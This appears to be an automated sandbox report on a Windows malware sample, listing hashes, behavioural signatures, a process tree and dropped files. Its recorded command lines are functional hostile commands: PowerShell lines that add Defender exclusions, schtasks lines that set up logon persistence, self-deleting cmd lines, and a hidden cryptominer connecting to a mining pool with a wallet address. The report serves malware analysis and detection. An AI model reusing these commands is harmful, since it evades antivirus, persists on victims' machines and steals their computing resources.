Analysis
-
max time kernel
3s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
07/01/2024, 04:29
Static task
static1
Behavioral task
behavioral1
Sample
48079bdfd2ce51ffadd7926448035f0e.exe
Resource
win7-20231215-en
General
-
Target
48079bdfd2ce51ffadd7926448035f0e.exe
-
Size
44KB
-
MD5
48079bdfd2ce51ffadd7926448035f0e
-
SHA1
25879d9520be8b145bb8610f514d16ac01d599f7
-
SHA256
66f95a7e9e84707c6e6209272d2605aa4d9444c6bf73d180d1621e5822313cdb
-
SHA512
e557164067b8326145e19a80e37ada2d83a755eae6409b8eb8fc948546d93296c42814f8a7f6dcc3639940858f656aa7569b2942ebd01dd3ef193a881b099074
-
SSDEEP
768:d5q0Hy7uQY6hG/h3kptwL6WiVn4V9FvS1sWk9CQIgnY0GF9d5TNqpSh8e:d5qqirGJ3kHxWRI/k8QIgnYjF99b8e
Malware Config
Signatures
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2644 schtasks.exe 2000 schtasks.exe 1720 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2360 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2360 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2228 wrote to memory of 3016 2228 48079bdfd2ce51ffadd7926448035f0e.exe 30 PID 2228 wrote to memory of 3016 2228 48079bdfd2ce51ffadd7926448035f0e.exe 30 PID 2228 wrote to memory of 3016 2228 48079bdfd2ce51ffadd7926448035f0e.exe 30 PID 3016 wrote to memory of 2360 3016 cmd.exe 29 PID 3016 wrote to memory of 2360 3016 cmd.exe 29 PID 3016 wrote to memory of 2360 3016 cmd.exe 29 PID 3016 wrote to memory of 2732 3016 cmd.exe 31 PID 3016 wrote to memory of 2732 3016 cmd.exe 31 PID 3016 wrote to memory of 2732 3016 cmd.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'3⤵PID:2732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'3⤵PID:2984
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'3⤵PID:2636
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"2⤵PID:1104
-
C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\48079bdfd2ce51ffadd7926448035f0e.exe"3⤵PID:2616
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit4⤵PID:1084
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'5⤵
- Creates scheduled task(s)
PID:2644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"4⤵PID:1784
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:836
-
-
-
C:\Windows\system32\services64.exe"C:\Windows\system32\services64.exe"4⤵PID:2964
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"5⤵PID:1068
-
C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"6⤵PID:1564
-
C:\Windows\system32\Microsoft\Libs\sihost64.exe"C:\Windows\system32\Microsoft\Libs\sihost64.exe"7⤵PID:1468
-
C:\Windows\system32\services64.exe"C:\Windows\system32\services64.exe"8⤵PID:2608
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"9⤵PID:308
-
C:\Users\Admin\AppData\Local\Temp\svchost64.exeC:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"10⤵PID:1384
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"11⤵PID:1092
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:2560
-
-
-
-
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:5555 --user=44Cs2fkLEkvMpVXCvpS8yUXRYiRiPDwVkUMvbsyaikGc4s3YRbeqn19YjNnKWBXBpcTw5Q83HXzesC6ceRKZQCYoEwEdpsP --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=1 --cinit-idle-cpu=80 --tls --cinit-stealth7⤵PID:2796
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"7⤵PID:2084
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:984
-
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2360
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'1⤵PID:1380
-
C:\Windows\system32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit1⤵PID:472
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵PID:1364
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'2⤵PID:2080
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'2⤵PID:1900
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'1⤵
- Creates scheduled task(s)
PID:2000
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit1⤵PID:2324
-
C:\Windows\system32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit1⤵PID:2520
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'2⤵PID:2420
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵PID:2140
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'2⤵PID:2756
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'2⤵PID:584
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit1⤵PID:2364
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'2⤵
- Creates scheduled task(s)
PID:1720
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD50d0c610f89741affe2343074a173ffaa
SHA1c504f369296f06f5aff3129a80068d7633dc56f7
SHA25611cec0d9b156b1ab654315e1a1107a9e44b35b31d7909e8a8fbb8c5945aa4c27
SHA5124dfab2bbd6e8b844877aad00e4ce6186ab0da0a42703add184dd2d1391d0330cca0da93aa82398d7344d8066287f047a3f10536aea6de8ced5d730415f6c3e62
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5af8d6fc528e12f421c3e6dc5358fb4f7
SHA1b0eb5d99bc5f994dc33e7a61c1f92f5fd34c37cb
SHA25610d7efa59d1183c54246c2b007791b06b323334475908c25c42cc16ec3be1f7f
SHA512c31520e7e77baf437c6c857b8ea7a70a5c9669b0dd8dc3d4cc9b58dbe08bd1d49b459aad71c247d7a8b24453544ad03099b087caeb06432ebaf806c43d693756
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD51a2e64489602ec55a5358169e3d7cebb
SHA17785a588cce058cdac1152f440ed6969401bcd92
SHA2560937c2edcd7760ec8a7cc8e5fff8aa0e486f5d149efb34d297d7006a5edd76e0
SHA512655d4aa7e7dc68db085b79474c75364c0ccc2b71772e42e67232771d6badaf4122a3301ebde31900f7dac62ab1ecaafb4dc22f564ad460a54c8dc49c40dc7a2e
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ce20d61db1cbc4a7f811985ef739bbfb
SHA10b1689fbe8a88e11944cca6d27b2afbdebb5aeea
SHA256eb272d7f63c0972c10ecbac5f95a2d2a824b64f60c18b5ca684b3d3391c8c94a
SHA512e4e9a4daed68886a8e31b5dbacfd64331bdb67ed8cf868ddb56117c807883fdf414f8766de2408f48b64c6b79806e0950ff1b14f74042715c2c493e726792c3c
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TQAEERSNTC7YGR4VCXO5.temp
Filesize7KB
MD50d7970f0ebb92fa864095972da6ced29
SHA1f25da6aeb572dcb47e3274b05f3c23f6cf558eb0
SHA2564cf4d340f07fd8d1fc6829a934a3345cdd9c4d9a29dad407507bfd7f587fdd12
SHA512526988fe1c830a3cd37f71e2678da589e3232c7aa11c3ee05be276cbb30c770877dd2f74f32c32bc66787b683bb3a374878f946521e9ab149c31e2972f47ee8b
-
Filesize
7KB
MD530b1b1da0627e27ec5dc9a40a877ca31
SHA1ab3ff26194185d445eeac0dd0780e14f2dc3432a
SHA25696800de36e8ff320c4a7ecc2f2d4bf61b7886dfa7ea450a594ccab2fb41e9399
SHA512509af3a9c7fe4fbf61697b747999fda2d8f43f0a4b8f38b6a9a92f8869647a6760c5c937658f90388573274cb606efd64169a041fc5a86c381b87b7959ae7410
-
Filesize
14KB
MD50c0195c48b6b8582fa6f6373032118da
SHA1d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA25611bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
SHA512ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
-
Filesize
44KB
MD548079bdfd2ce51ffadd7926448035f0e
SHA125879d9520be8b145bb8610f514d16ac01d599f7
SHA25666f95a7e9e84707c6e6209272d2605aa4d9444c6bf73d180d1621e5822313cdb
SHA512e557164067b8326145e19a80e37ada2d83a755eae6409b8eb8fc948546d93296c42814f8a7f6dcc3639940858f656aa7569b2942ebd01dd3ef193a881b099074